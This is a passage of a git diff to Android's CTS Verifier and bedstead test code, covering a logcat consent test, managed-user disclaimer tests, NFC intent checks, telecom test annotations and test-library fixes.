+ setTestResultAndFinish(false);
+ });
}
/**
* Responsible for running the logcat in foreground and testing the deny button
*/
public void runLogcatInForegroundDontAllow() {
- Log.d(TAG, "Inside runLogcatInForeground()");
- BufferedReader reader = null;
- try {
- java.lang.Process logcat = new ProcessBuilder(
- Arrays.asList("logcat", "-b", "system", "-t",
- Integer.toString(NUM_OF_LINES_FG))).start();
- logcat.waitFor();
+ Log.d(TAG, "Inside runLogcatInForegroundDontAllow()");
- // Merge several logcat streams, and take the last N lines
- reader = new BufferedReader(new InputStreamReader(logcat.getInputStream()));
- assertNotNull(reader);
-
- List<String> logcatOutput = new ArrayList<>();
- String current;
- int lineCount = 0;
- while ((current = reader.readLine()) != null) {
- logcatOutput.add(current);
- lineCount++;
- }
-
- Log.d(TAG, "Logcat system deny line count:" + lineCount);
-
- try {
- assertTrue("Deny System log access", lineCount == NUM_OF_LINES_BG);
- } catch (AssertionError e) {
- fail("User Consent Deny Testing failed");
- }
-
- } catch (Exception e) {
- Log.e(TAG, "User Consent Testing failed");
- } finally {
- try {
- if (reader != null) {
- reader.close();
- }
- } catch (IOException e) {
- Log.d(TAG, "Could not close reader: " + e.getMessage());
- }
+ if (mLastLogAccess > (SystemClock.elapsedRealtime() - LOG_ACCESS_INTERVAL)) {
+ String reason = "Please wait for "
+ + ((mLastLogAccess + LOG_ACCESS_INTERVAL - SystemClock.elapsedRealtime())
+ / 1000) + " seconds before running the test.";
+ Toast.makeText(this, reason, Toast.LENGTH_LONG).show();
+ return;
}
+
+ sExecutorService.execute(new Runnable() {
+
+ public void run() {
+ BufferedReader reader = null;
+ try {
+ java.lang.Process logcat = new ProcessBuilder(
+ Arrays.asList("logcat", "-b", "system", "-t",
+ Integer.toString(NUM_OF_LINES_FG))).start();
+ logcat.waitFor();
+
+ // Merge several logcat streams, and take the last N lines
+ reader = new BufferedReader(new InputStreamReader(logcat.getInputStream()));
+ assertNotNull(reader);
+
+ List<String> logcatOutput = new ArrayList<>();
+ String current;
+ int lineCount = 0;
+ while ((current = reader.readLine()) != null) {
+ logcatOutput.add(current);
+ lineCount++;
+ }
+
+ Log.d(TAG, "Logcat system deny line count:" + lineCount);
+
+ mLastLogAccess = SystemClock.elapsedRealtime();
+
+ try {
+ assertTrue("Deny System log access", lineCount == NUM_OF_LINES_BG);
+ } catch (AssertionError e) {
+ fail("User Consent Deny Testing failed");
+ }
+
+ } catch (Exception e) {
+ Log.e(TAG, "User Consent Testing failed");
+ } finally {
+ try {
+ if (reader != null) {
+ reader.close();
+ }
+ } catch (IOException e) {
+ Log.d(TAG, "Could not close reader: " + e.getMessage());
+ }
+ }
+ }
+ });
+
}
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java
index 5428da5..5706610 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java
@@ -135,6 +135,7 @@
public static final String COMMAND_SET_WIFI_SECURITY_LEVEL = "set-wifi-security-level";
public static final String COMMAND_SET_SSID_ALLOWLIST = "set-ssid-allowlist";
public static final String COMMAND_SET_SSID_DENYLIST = "set-ssid-denylist";
+ public static final String COMMAND_CHECK_NEW_USER_DISCLAIMER = "check-new-user-disclaimer";
public static final String EXTRA_USER_RESTRICTION =
"com.android.cts.verifier.managedprovisioning.extra.USER_RESTRICTION";
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
index 5bdb97c..cdca014 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
@@ -267,15 +267,17 @@
new ButtonInfo[] {
new ButtonInfo(
R.string.device_owner_user_restriction_set,
- CommandReceiverActivity.createSetCurrentUserRestrictionIntent(
- UserManager.DISALLOW_ADD_WIFI_CONFIG, true)),
+ CommandReceiverActivity
+ .createSetDeviceOwnerUserRestrictionIntent(
+ UserManager.DISALLOW_ADD_WIFI_CONFIG, true)),
new ButtonInfo(
R.string.device_owner_settings_go,
new Intent(Settings.ACTION_WIFI_SETTINGS)),
new ButtonInfo(
R.string.device_owner_user_restriction_unset,
- CommandReceiverActivity.createSetCurrentUserRestrictionIntent(
- UserManager.DISALLOW_ADD_WIFI_CONFIG, false))
+ CommandReceiverActivity
+ .createSetDeviceOwnerUserRestrictionIntent(
+ UserManager.DISALLOW_ADD_WIFI_CONFIG, false))
}));
// WIFI_SECURITY_LEVEL_RESTRICTION
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ManagedUserPositiveTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ManagedUserPositiveTestActivity.java
index 14ab277..8d2fe90 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ManagedUserPositiveTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ManagedUserPositiveTestActivity.java
@@ -55,6 +55,7 @@
private static final String DISABLE_KEYGUARD_TEST_ID = "DISABLE_KEYGUARD";
private static final String POLICY_TRANSPARENCY_TEST_ID = "POLICY_TRANSPARENCY";
private static final String DISALLOW_REMOVE_USER_TEST_ID = "DISALLOW_REMOVE_USER";
+ private static final String CHECK_NEW_USER_DISCLAIMER_TEST_ID = "CHECK_NEW_UESR_DISCLAIMER";
@Override
protected void onCreate(Bundle savedInstanceState) {
@@ -111,6 +112,19 @@
}
private void addTestsToAdapter(final ArrayTestListAdapter adapter) {
+ // Check managed user's new user disclaimer
+ if (FeatureUtil.isNewManagerUserDisclaimerRequired(this)) {
+ adapter.add(createInteractiveTestItem(this, CHECK_NEW_USER_DISCLAIMER_TEST_ID,
+ R.string.check_new_user_disclaimer,
+ R.string.check_new_user_disclaimer_info,
+ new ButtonInfo[]{
+ new ButtonInfo(
+ R.string.device_owner_settings_go,
+ new Intent(Settings.ACTION_USER_SETTINGS)),
+ new ButtonInfo(R.string.enterprise_privacy_set_organization,
+ createSetOrganizationNameIntent())}));
+ }
+
adapter.add(createTestItem(this, CHECK_AFFILIATED_PROFILE_OWNER_TEST_ID,
R.string.managed_user_check_managed_user_test,
new Intent(ACTION_CHECK_AFFILIATED_PROFILE_OWNER)
@@ -185,10 +199,8 @@
adapter.add(createTestItem(this, POLICY_TRANSPARENCY_TEST_ID,
R.string.device_profile_owner_policy_transparency_test,
policyTransparencyTestIntent));
-
}
-
static TestListItem createTestItem(Activity activity, String id, int titleRes,
Intent intent) {
intent.putExtra(EXTRA_TEST_ID, id);
@@ -200,4 +212,12 @@
// general test for that. TODO: add a test API to do a real check for status bar support.
return !getPackageManager().hasSystemFeature(PackageManager.FEATURE_WATCH);
}
+
+ private Intent createSetOrganizationNameIntent() {
+ return new Intent(this, CommandReceiverActivity.class)
+ .putExtra(CommandReceiverActivity.EXTRA_COMMAND,
+ CommandReceiverActivity.COMMAND_SET_ORGANIZATION_NAME)
+ .putExtra(CommandReceiverActivity.EXTRA_USE_CURRENT_USER_DPM, true)
+ .putExtra(CommandReceiverActivity.EXTRA_ORGANIZATION_NAME, "Foo, Inc.");
+ }
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent1EmulatorActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent1EmulatorActivity.java
index 795028e..e57d620 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent1EmulatorActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent1EmulatorActivity.java
@@ -16,31 +16,15 @@
package com.android.cts.verifier.nfc.offhost;
-import android.annotation.TargetApi;
-import android.app.Activity;
-import android.app.AlertDialog;
-import android.app.ProgressDialog;
-import android.content.BroadcastReceiver;
-import android.content.ComponentName;
import android.content.Context;
-import android.content.DialogInterface;
import android.content.Intent;
-import android.content.IntentFilter;
import android.nfc.NfcAdapter;
-import android.nfc.cardemulation.CardEmulation;
-import android.os.AsyncTask;
import android.os.Build;
import android.os.Bundle;
-import android.util.Log;
import android.widget.TextView;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.List;
-
import com.android.cts.verifier.PassFailButtons;
import com.android.cts.verifier.R;
-
import com.android.cts.verifier.nfc.hce.HceUtils;
public class UiccTransactionEvent1EmulatorActivity extends PassFailButtons.Activity {
@@ -106,9 +90,9 @@
private void initProcess() {
Bundle bundle = getIntent().getExtras();
- if(bundle != null){
+ if (bundle != null && getIntent().getAction() != null) {
byte[] transactionData = bundle.getByteArray(NfcAdapter.EXTRA_DATA);
- if(transactionData != null){
+ if (transactionData != null) {
runOnUiThread(new Runnable() {
@Override
public void run() {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent2EmulatorActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent2EmulatorActivity.java
index 34a418b..3f914c1 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent2EmulatorActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent2EmulatorActivity.java
@@ -16,31 +16,15 @@
package com.android.cts.verifier.nfc.offhost;
-import android.annotation.TargetApi;
-import android.app.Activity;
-import android.app.AlertDialog;
-import android.app.ProgressDialog;
-import android.content.BroadcastReceiver;
-import android.content.ComponentName;
import android.content.Context;
-import android.content.DialogInterface;
import android.content.Intent;
-import android.content.IntentFilter;
import android.nfc.NfcAdapter;
-import android.nfc.cardemulation.CardEmulation;
-import android.os.AsyncTask;
import android.os.Build;
import android.os.Bundle;
-import android.util.Log;
import android.widget.TextView;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.List;
-
import com.android.cts.verifier.PassFailButtons;
import com.android.cts.verifier.R;
-
import com.android.cts.verifier.nfc.hce.HceUtils;
public class UiccTransactionEvent2EmulatorActivity extends PassFailButtons.Activity {
@@ -106,9 +90,9 @@
private void initProcess() {
Bundle bundle = getIntent().getExtras();
- if(bundle != null){
+ if (bundle != null && getIntent().getAction() != null) {
byte[] transactionData = bundle.getByteArray(NfcAdapter.EXTRA_DATA);
- if(transactionData != null){
+ if (transactionData != null) {
runOnUiThread(new Runnable() {
@Override
public void run() {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent3EmulatorActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent3EmulatorActivity.java
index 6055ac4..09c13b8 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent3EmulatorActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent3EmulatorActivity.java
@@ -16,31 +16,15 @@
package com.android.cts.verifier.nfc.offhost;
-import android.annotation.TargetApi;
-import android.app.Activity;
-import android.app.AlertDialog;
-import android.app.ProgressDialog;
-import android.content.BroadcastReceiver;
-import android.content.ComponentName;
import android.content.Context;
-import android.content.DialogInterface;
import android.content.Intent;
-import android.content.IntentFilter;
import android.nfc.NfcAdapter;
-import android.nfc.cardemulation.CardEmulation;
-import android.os.AsyncTask;
import android.os.Build;
import android.os.Bundle;
-import android.util.Log;
import android.widget.TextView;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.List;
-
import com.android.cts.verifier.PassFailButtons;
import com.android.cts.verifier.R;
-
import com.android.cts.verifier.nfc.hce.HceUtils;
public class UiccTransactionEvent3EmulatorActivity extends PassFailButtons.Activity {
@@ -105,9 +89,9 @@
private void initProcess() {
Bundle bundle = getIntent().getExtras();
- if(bundle != null){
+ if (bundle != null && getIntent().getAction() != null) {
byte[] transactionData = bundle.getByteArray(NfcAdapter.EXTRA_DATA);
- if(transactionData != null){
+ if (transactionData != null) {
runOnUiThread(new Runnable() {
@Override
public void run() {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java
index 54df8b7..911189e 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java
@@ -1589,6 +1589,7 @@
.setContentTitle("ConversationOrderingTest")
.setContentText(mTag1)
.setSmallIcon(R.drawable.ic_stat_alice)
+ .setGroup("conversations")
.setShortcutId(SHARE_SHORTCUT_ID)
.setStyle(new Notification.MessagingStyle(person)
.setConversationTitle("Bubble Chat")
@@ -1606,6 +1607,7 @@
.setContentTitle("Non-Person Notification")
.setContentText(mTag1)
.setSmallIcon(R.drawable.ic_stat_alice)
+ .setGroup("non-conversation")
.build();
mNm.notify(mTag2, mId2, n2);
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/telecom/CtsConnection.java b/apps/CtsVerifier/src/com/android/cts/verifier/telecom/CtsConnection.java
index b3622d6..53034a1 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/telecom/CtsConnection.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/telecom/CtsConnection.java
@@ -26,6 +26,7 @@
import android.telecom.VideoProfile;
import android.util.ArraySet;
+import com.android.compatibility.common.util.ApiTest;
import com.android.cts.verifier.R;
import java.util.Set;
@@ -36,6 +37,7 @@
* An implementation of the {@link android.telecom.Connection} class used by the
* {@link CtsConnectionService}.
*/
+@ApiTest(apis={"android.Telecom.Connection"})
public class CtsConnection extends Connection {
/**
* Listener used to inform the CtsVerifier app of changes to a connection.
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/telecom/CtsConnectionService.java b/apps/CtsVerifier/src/com/android/cts/verifier/telecom/CtsConnectionService.java
index 21cf6ce..9121961 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/telecom/CtsConnectionService.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/telecom/CtsConnectionService.java
@@ -24,6 +24,8 @@
import android.telecom.PhoneAccountHandle;
import android.telecom.TelecomManager;
+import com.android.compatibility.common.util.ApiTest;
+
import java.util.ArrayList;
import java.util.List;
import java.util.concurrent.CountDownLatch;
@@ -32,6 +34,7 @@
/**
* CTS Verifier ConnectionService implementation.
*/
+@ApiTest(apis={"android.telecom.ConnectionService"})
public class CtsConnectionService extends ConnectionService {
static final int TIMEOUT_MILLIS = 10000;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/telecom/CtsIncomingCall.java b/apps/CtsVerifier/src/com/android/cts/verifier/telecom/CtsIncomingCall.java
index 1e472a4..07cd4c3 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/telecom/CtsIncomingCall.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/telecom/CtsIncomingCall.java
@@ -18,6 +18,9 @@
import android.telecom.Call;
+import com.android.compatibility.common.util.ApiTest;
+
+@ApiTest(apis={"android.telecom.ConnectionService"})
public class CtsIncomingCall {
private static final CtsIncomingCall INSTANCE = new CtsIncomingCall();
private Call mCall;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/telecom/CtsSelfManagedConnectionService.java b/apps/CtsVerifier/src/com/android/cts/verifier/telecom/CtsSelfManagedConnectionService.java
index e9c4f44..7d71eb3 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/telecom/CtsSelfManagedConnectionService.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/telecom/CtsSelfManagedConnectionService.java
@@ -7,11 +7,14 @@
import android.telecom.PhoneAccountHandle;
import android.telecom.TelecomManager;
+import com.android.compatibility.common.util.ApiTest;
+
import java.util.ArrayList;
import java.util.List;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
+@ApiTest(apis={"android.telecom.ConnectionService"})
public class CtsSelfManagedConnectionService extends ConnectionService {
static final int TIMEOUT_MILLIS = 10000;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/telecom/CtsVerifierInCallUi.java b/apps/CtsVerifier/src/com/android/cts/verifier/telecom/CtsVerifierInCallUi.java
index 298eae0..b68b748 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/telecom/CtsVerifierInCallUi.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/telecom/CtsVerifierInCallUi.java
@@ -26,8 +26,10 @@
import android.widget.Button;
import android.widget.TextView;
+import com.android.compatibility.common.util.ApiTest;
import com.android.cts.verifier.R;
+@ApiTest(apis={"android.telecom.InCallService"})
public class CtsVerifierInCallUi extends Activity {
TextView mCallNumber;
Button mButton;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/telecom/EnablePhoneAccountTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/telecom/EnablePhoneAccountTestActivity.java
index 2b7201a..acf1fc3 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/telecom/EnablePhoneAccountTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/telecom/EnablePhoneAccountTestActivity.java
@@ -22,6 +22,8 @@
import android.widget.Button;
import android.widget.ImageView;
+import com.android.compatibility.common.util.ApiTest;
+import com.android.compatibility.common.util.CddTest;
import com.android.cts.verifier.PassFailButtons;
import com.android.cts.verifier.R;
@@ -29,6 +31,8 @@
* Tests that a new {@link android.telecom.ConnectionService} be added and its associated
* {@link android.telecom.PhoneAccount} enabled using the calling accounts settings screen.
*/
+@ApiTest(apis={"android.telecom.ConnectionService", "android.telecom.PhoneAccount"})
+@CddTest(requirement="3.2.3.5/C-2-3")
public class EnablePhoneAccountTestActivity extends PassFailButtons.Activity {
private Button mRegisterPhoneAccount;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/telecom/IncomingCallTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/telecom/IncomingCallTestActivity.java
index f17c9ee..d6769f0 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/telecom/IncomingCallTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/telecom/IncomingCallTestActivity.java
@@ -29,6 +29,8 @@
import android.widget.Button;
import android.widget.ImageView;
+import com.android.compatibility.common.util.ApiTest;
+import com.android.compatibility.common.util.CddTest;
import com.android.cts.verifier.PassFailButtons;
import com.android.cts.verifier.R;
@@ -38,6 +40,8 @@
* Tests that an incoming call made from an enabled ConnectionService will ring the phone and be
* able to be answered.
*/
+@ApiTest(apis={"android.telecom.ConnectionService"})
+@CddTest(requirement="7.4.1.2/C-1-1")
public class IncomingCallTestActivity extends PassFailButtons.Activity {
private static final String TAG = "TelecomIncomingCall";
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/telecom/OutgoingCallTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/telecom/OutgoingCallTestActivity.java
index 9fc0381..6e75682 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/telecom/OutgoingCallTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/telecom/OutgoingCallTestActivity.java
@@ -27,6 +27,8 @@
import android.widget.Button;
import android.widget.ImageView;
+import com.android.compatibility.common.util.ApiTest;
+import com.android.compatibility.common.util.CddTest;
import com.android.cts.verifier.PassFailButtons;
import com.android.cts.verifier.R;
@@ -36,6 +38,8 @@
* Tests that an outgoing call made from the default dialer on the system is able to connect to
* the CtsConnectionService.
*/
+@ApiTest(apis={"android.telecom.ConnectionService"})
+@CddTest(requirement="7.4.1.2/C-1-1")
public class OutgoingCallTestActivity extends PassFailButtons.Activity {
private final static String TAG = "TelecomOutgoingCall";
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/telecom/PhoneAccountUtils.java b/apps/CtsVerifier/src/com/android/cts/verifier/telecom/PhoneAccountUtils.java
index 7b8d04e..73cbb39 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/telecom/PhoneAccountUtils.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/telecom/PhoneAccountUtils.java
@@ -24,11 +24,13 @@
import android.telecom.PhoneAccountHandle;
import android.telecom.TelecomManager;
+import com.android.compatibility.common.util.ApiTest;
import com.android.cts.verifier.PassFailButtons;
/**
* Utilities class for dealing with the Telecom CTS Verifier PhoneAccounts.
*/
+@ApiTest(apis={"android.Telecom.PhoneAccount"})
public class PhoneAccountUtils {
public static final String TEST_PHONE_ACCOUNT_ID = "test";
public static final String TEST_PHONE_ACCOUNT_LABEL = "CTS Verifier Test";
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/telecom/SelfManagedIncomingCallTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/telecom/SelfManagedIncomingCallTestActivity.java
index e273616..d482ac0 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/telecom/SelfManagedIncomingCallTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/telecom/SelfManagedIncomingCallTestActivity.java
@@ -28,6 +28,8 @@
import android.widget.Button;
import android.widget.ImageView;
+import com.android.compatibility.common.util.ApiTest;
+import com.android.compatibility.common.util.CddTest;
import com.android.cts.verifier.PassFailButtons;
import com.android.cts.verifier.R;
@@ -37,6 +39,8 @@
* call UI when a new incoming self-managed call is added when there is already an ongoing managed
* call or when there is an ongoing self-managed call in another app.
*/
+@ApiTest(apis={"android.telecom.ConnectionService"})
+@CddTest(requirement="7.4.1.2/C-1-2")
public class SelfManagedIncomingCallTestActivity extends PassFailButtons.Activity {
private static final String TAG = "SelfManagedIncomingCall";
private Uri TEST_DIAL_NUMBER_1 = Uri.fromParts("tel", "6505551212", null);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/telecom/TelecomDefaultDialerTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/telecom/TelecomDefaultDialerTestActivity.java
index 2e50d8a..52a5001 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/telecom/TelecomDefaultDialerTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/telecom/TelecomDefaultDialerTestActivity.java
@@ -27,10 +27,14 @@
import android.widget.ImageView;
import android.widget.Toast;
+import com.android.compatibility.common.util.ApiTest;
+import com.android.compatibility.common.util.CddTest;
import com.android.cts.verifier.PassFailButtons;
import com.android.cts.verifier.R;
import com.android.cts.verifier.managedprovisioning.DeviceAdminTestReceiver;
+@ApiTest(apis={"android.telecom.InCallService"})
+@CddTest(requirement="3.2.3.5/C-2-2")
public class TelecomDefaultDialerTestActivity extends PassFailButtons.Activity {
private Button mSetDefaultDialer;
private Button mConfirmLockScreen;
diff --git a/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/DevicePolicyManagerWrapper.java b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/DevicePolicyManagerWrapper.java
index 3890095..a264eb4 100644
--- a/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/DevicePolicyManagerWrapper.java
+++ b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/DevicePolicyManagerWrapper.java
@@ -113,6 +113,8 @@
doAnswer(answer).when(spy).setEndUserSessionMessage(any(), any());
doAnswer(answer).when(spy).setLogoutEnabled(any(), anyBoolean());
doAnswer(answer).when(spy).removeUser(any(), any());
+ doAnswer(answer).when(spy).setMinimumRequiredWifiSecurityLevel(anyInt());
+ doAnswer(answer).when(spy).setWifiSsidPolicy(any());
// Used by DevicePolicySafetyCheckerIntegrationTest
doAnswer(answer).when(spy).createAndManageUser(any(), any(), any(), any(), anyInt());
diff --git a/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/GenericManagerImpl.java b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/GenericManagerImpl.java
index 016a006..b17404b 100644
--- a/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/GenericManagerImpl.java
+++ b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/GenericManagerImpl.java
@@ -17,7 +17,6 @@
import android.content.ContentResolver;
import android.content.Context;
-import android.os.UserHandle;
import android.provider.Settings;
import android.provider.Settings.SettingNotFoundException;
import android.util.Log;
@@ -26,11 +25,16 @@
private static final String TAG = GenericManagerImpl.class.getSimpleName();
- private final UserHandle mUser;
+ private String mUser;
private final ContentResolver mContentResolver;
GenericManagerImpl(Context context) {
- mUser = context.getUser();
+ try {
+ mUser = String.valueOf(context.getUser().getIdentifier());
+ } catch (Throwable e) {
+ Log.w(TAG, "Error while extracting User data from " + context + " : " + e);
+ mUser = "N/A";
+ }
mContentResolver = context.getContentResolver();
}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/Events.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/Events.java
index cbc83a4..2c59cb7 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/Events.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/Events.java
@@ -149,10 +149,17 @@
}
Log.e(TAG, "writing event to file: " + event);
- byte[] eventBytes = event.toBytes();
- mOutputStream.write(
- ByteBuffer.allocate(BYTES_PER_INT).putInt(eventBytes.length).array());
- mOutputStream.write(eventBytes);
+ try {
+ byte[] eventBytes = event.toBytes();
+ mOutputStream.write(
+ ByteBuffer.allocate(BYTES_PER_INT).putInt(eventBytes.length).array());
+ mOutputStream.write(eventBytes);
+ } catch (Throwable e) {
+ // This will happen if the event contains a Binder - can't be written to disk
+ Log.e(TAG, "We can't write this event to disk because it contains a Binder "
+ + "(this may cause errors in tests after this point - particularly related"
+ + " to EventLib)", e);
+ }
} catch (IOException e) {
throw new IllegalStateException("Error writing event to log", e);
}
diff --git a/common/device-side/bedstead/harrier/common/src/main/java/com/android/bedstead/harrier/annotations/EnsureUnlocked.java b/common/device-side/bedstead/harrier/common/src/main/java/com/android/bedstead/harrier/annotations/EnsureUnlocked.java
new file mode 100644
index 0000000..536c93f
--- /dev/null
+++ b/common/device-side/bedstead/harrier/common/src/main/java/com/android/bedstead/harrier/annotations/EnsureUnlocked.java
@@ -0,0 +1,47 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.annotations;
+
+import static com.android.bedstead.harrier.annotations.AnnotationRunPrecedence.MIDDLE;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+/**
+ * Mark that a test method requires the keyguard to be dismissed.
+ *
+ * <p>You can use {@code Devicestate} to ensure that the device enters
+ * the correct state for the method.
+ */
+@Target({ElementType.METHOD, ElementType.ANNOTATION_TYPE, ElementType.TYPE})
+@Retention(RetentionPolicy.RUNTIME)
+public @interface EnsureUnlocked {
+
+ /**
+ * Weight sets the order that annotations will be resolved.
+ *
+ * <p>Annotations with a lower weight will be resolved before annotations with a higher weight.
+ *
+ * <p>If there is an order requirement between annotations, ensure that the weight of the
+ * annotation which must be resolved first is lower than the one which must be resolved later.
+ *
+ * <p>Weight can be set to a {@link AnnotationRunPrecedence} constant, or to any {@link int}.
+ */
+ int weight() default MIDDLE;
+}
diff --git a/common/device-side/bedstead/harrier/common/src/main/java/com/android/bedstead/harrier/policies/UserControlDisabledPackages.java b/common/device-side/bedstead/harrier/common/src/main/java/com/android/bedstead/harrier/policies/UserControlDisabledPackages.java
index c47db87..3c57540 100644
--- a/common/device-side/bedstead/harrier/common/src/main/java/com/android/bedstead/harrier/policies/UserControlDisabledPackages.java
+++ b/common/device-side/bedstead/harrier/common/src/main/java/com/android/bedstead/harrier/policies/UserControlDisabledPackages.java
@@ -17,7 +17,9 @@
package com.android.bedstead.harrier.policies;
import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_DEVICE_OWNER;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_PROFILE_OWNER;
import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIES_GLOBALLY;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIES_TO_OWN_USER;
import com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy;
@@ -28,6 +30,9 @@
* {@code DevicePolicyManager#setUserControlDisabledPackages(ComponentName, List)} and
* {@code DevicePolicyManager#getUserControlDisabledPackages(ComponentName)}.
*/
-@EnterprisePolicy(dpc = APPLIED_BY_DEVICE_OWNER | APPLIES_GLOBALLY)
+@EnterprisePolicy(dpc = {
+ APPLIED_BY_DEVICE_OWNER | APPLIES_GLOBALLY,
+ APPLIED_BY_PROFILE_OWNER | APPLIES_TO_OWN_USER
+})
public final class UserControlDisabledPackages {
}
